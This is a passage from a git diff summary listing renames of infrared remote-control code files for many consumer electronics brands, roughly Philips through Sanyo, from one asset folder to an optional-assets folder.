ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_philips-rc2592-MODE-v1/8,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_rd5860.conf/20,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_uDigital/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/VCR/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Phonotrend/Unknown_Prestige/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Pinnacle Systems/Unknown_300i/17,20.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Pinnacle Systems/Unknown_800i/7,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Pinnacle Systems/Unknown_PCTV/7,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Pinnacle Systems/Unknown_RC-42D/7,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Pioneer/Amplifier/162,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Pioneer/Amplifier/164,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Pioneer/Amplifier/165,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Pioneer/CD Jukebox/162,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Pioneer/CD Player/162,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Pioneer/Cable Box/168,40.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Pioneer/Cable Box/170,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Pioneer/Cable Box/172,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Pioneer/Cassette Tape/161,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Pioneer/DVD Changer/163,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Pioneer/DVD Changer/175,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Pioneer/DVD Jukebox/163,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Pioneer/DVD Jukebox/175,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Pioneer/DVD Player/163,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Pioneer/DVD Player/175,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Pioneer/Laser Disc/163,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Pioneer/Laser Disc/168,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Pioneer/Laser Disc/175,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Pioneer/Receiver/164,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Pioneer/Receiver/165,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Pioneer/TV/170,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Pioneer/TV/175,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Pioneer/Unknown_AXD-1531/170,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Pioneer/Unknown_AXD-7306/166,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CD/162,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-CLD067/168,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-CLD106/168,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD008/162,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD038/162,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD046/162,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD069/162,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD085/162,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD089/162,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Pioneer/Unknown_DEH-D8850/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Pioneer/Unknown_PD-M650/162,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Pioneer/Unknown_Pioneer-CU-XR014/2,1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Pioneer/Unknown_VXX2801/163,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Pioneer/Unknown_cu-pd096/162,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Pioneer/Unknown_pioneer/162,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Pioneer/Unknown_pioneer/168,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/PixelView/Unknown_2000/63,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/PixelView/Unknown_PlayTV/134,107.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Polaroid/Unknown_DVDP-1000/32,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Pragmatic/Router/172,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/ProPlay/Unknown_PS2/0,246.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Proceed/Surround Processor/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Proscan/DVD Player/15,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Proscan/DVD Player/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Proscan/TV/15,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Proscan/Unknown_proscan-vcr/14,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Protek/Unknown_Protek/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Proton/TV/17,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Proton/TV/2,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Proton/TV/3,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Proton/TV/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Provideo/Unknown_PV951/134,107.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Provision/Unknown_PR-DVD2.0/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Provision/Unknown_PRDVD2166/0,153.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/QUADRAL/Unknown_RC-804/19,1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Quasar/TV/128,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/RCA/DSS/15,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/RCA/DSS/7,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/RCA/DVD Player/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/RCA/Laser Disc/13,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/RCA/TV/14,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/RCA/TV/15,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/RCA/TV/7,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/RCA/Unknown_BR-RCA/39,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/RCA/Unknown_DTA800b/7,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/RCA/Unknown_R130A1/15,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/RCA/Unknown_RCA-F20507CP/15,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/RCA/Unknown_RCZ/135,94.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/RCA/Unknown_TV/15,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/RCA/VCR/14,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/RCA/VCR/15,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/RSQ/Karaoke/179,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/RSQ/Karaoke/191,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/RSQ/Karaoke/3,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Radio Shack/Unknown_RS2142/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Radio Shack/Unknown_RadioShack/3,1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Radio Shack/Unknown_Radioshack2115/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Radix/Unknown_Alpha/138,245.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Radix/Unknown_DT-X1/0,127.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Radix/Unknown_DTR-9000-Twin/0,127.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Radix/Unknown_SAT/138,245.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Radix/Unknown_lircd.conf/0,127.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Radix/Unknown_radix/138,245.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Raite/Unknown_RaiteDVD-7xx/32,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Ranex/Unknown_RGB/64,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Re.x/Unknown_SDVD/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/ReadMe.md (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Recor/Unknown_IRC-1304/7,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Rega/Receiver/110,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Rega/Receiver/135,124.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Rega/Receiver/16,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Replay Networks/Digital Recorder/1,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/ReplayTV/Unknown_5000/1,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Revo/Unknown_Blik/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Revoy/Unknown_Revoy2200/0,153.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Rio/Unknown_Audio/130,19.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Roku/Unknown_Netflix/190,239.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Roku/Unknown_Soundbridge/111,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Rolsen/Unknown_DK5A/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Rolsen/Unknown_K10B-C1/14,14.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Rotel/CD Player/20,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Rotel/Tuner/82,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Rotel/Unknown_RR-925/131,18.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Rowa/Unknown_RDVD104/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Runco/Line Doubler/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Runco/Video Controller/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Runco/Video Projector/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Runco/Video Projector/24,247.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Runco/Video Projector/5,1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Russound/Music Server/10,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/SAB/Unknown_Explorer/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/SABA/Unknown_SabaTC460/7,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/SABA/Unknown_TC3003/7,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/SEG/Unknown_E6900-X020A/2,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/SEG/Unknown_SEG-DVD-430/32,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/SEG/Unknown_SEG-VCR4300/21,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/SEG/Unknown_SR-040/133,115.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/SEG/Unknown_SR-201/66,253.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/SEG/Unknown_SR800/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/SEG/Unknown_VCR/21,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/SEG/Unknown_VCR2000/134,124.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/ST/Unknown_DTTRC-4/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/ST/Unknown_HMP/8,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/STRONG/8209_DVB-T2/1,254.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/STRONG/8821_DVB-T/2,2.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/STRONG/Unknown_STRONG/128,119.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/SUPERSQNY/Unknown_KM-168/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/SVEN/Unknown_HT-475/24,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/SVEN/Unknown_IHOO/24,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sagem/Unknown_DVB-T-Receiver/135,94.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sagem/Unknown_HD103-C/135,94.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sagem/Unknown_Sagem/135,94.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Salora/Unknown_SV6700/49,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/Air Conditioner/1,8.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/Rear Projection DLP TV/7,7.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/TV/7,7.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/Unknown_00011k/102,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/Unknown_00021c/5,5.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/Unknown_00054d/102,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/Unknown_00056A/102,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/Unknown_00077A/7,7.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/Unknown_00092M/102,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/Unknown_00092b/102,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/Unknown_00104J/7,7.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/Unknown_00104K/7,7.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/Unknown_00198f/7,7.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/Unknown_00225A/7,7.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/Unknown_01043A/102,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/Unknown_10107N/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/Unknown_10116A/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/Unknown_10420A/5,5.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/Unknown_528Z/2,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-00316b/7,7.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-00332D/7,7.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-00370A/7,7.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-00382A/7,7.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-00600A/7,7.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-10026E/5,5.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA64-50236A/7,7.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/Unknown_AH59-01527F/67,83.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/Unknown_AH59-02345A/7,7.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/Unknown_ARH-700/1,8.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00507A/7,7.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00538A/7,7.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00603A/7,7.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00609A/7,7.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00634A/9,9.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00678A/7,7.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00683A/7,7.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00685A/7,7.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00856A/7,7.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00861A/7,7.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00865A/7,7.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00869A/7,7.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00940A/7,7.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/Unknown_BRM-E1E/33,33.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/Unknown_HLN507W/7,7.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/Unknown_MF59-00242B/9,9.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/Unknown_MF59-00291a/32,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/Unknown_MF59/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/Unknown_PR3914/5,5.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/Unknown_RCD-M70/0,4.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/102,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/5,5.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/7,7.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/Unknown_SAT/21,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/Unknown_SFT-702E/64,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/Unknown_SMT-1000T/64,64.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/Unknown_SMT-H3050/27,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/Unknown_SV-411X/5,5.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/Unknown_SV-610X/5,5.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/Unknown_SV-651B/5,5.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/Unknown_SV-DVD3E/5,5.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/Unknown_TV/7,7.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/Unknown_VCR/5,5.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/Unknown_VXK-336/5,5.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/Unknown_hifi/0,1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/Unknown_samsung-10095T/7,7.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/Unknown_test/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/VCR/2,2.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samsung/VCR/5,5.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Samy/Unknown_SDX1100/8,230.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sansonic/Unknown_FT-300A/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sansui/Unknown_SANSUI-RS-S103/132,77.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sanyo/TV/56,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sanyo/Unknown_A05800/49,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sanyo/Unknown_B01004/49,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sanyo/Unknown_B01007/49,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sanyo/Unknown_B12628/49,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sanyo/Unknown_B13540/49,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sanyo/Unknown_RB-DA300/60,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sanyo/Unknown_RB-SL22/60,196.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sanyo/Unknown_RC-105C/54,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sanyo/Unknown_RC700/56,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sanyo/Unknown_Sanyo-B13509/49,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sanyo/Unknown_Sanyo-JXZB/56,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sanyo/Unknown_Sanyo/49,-1.ir 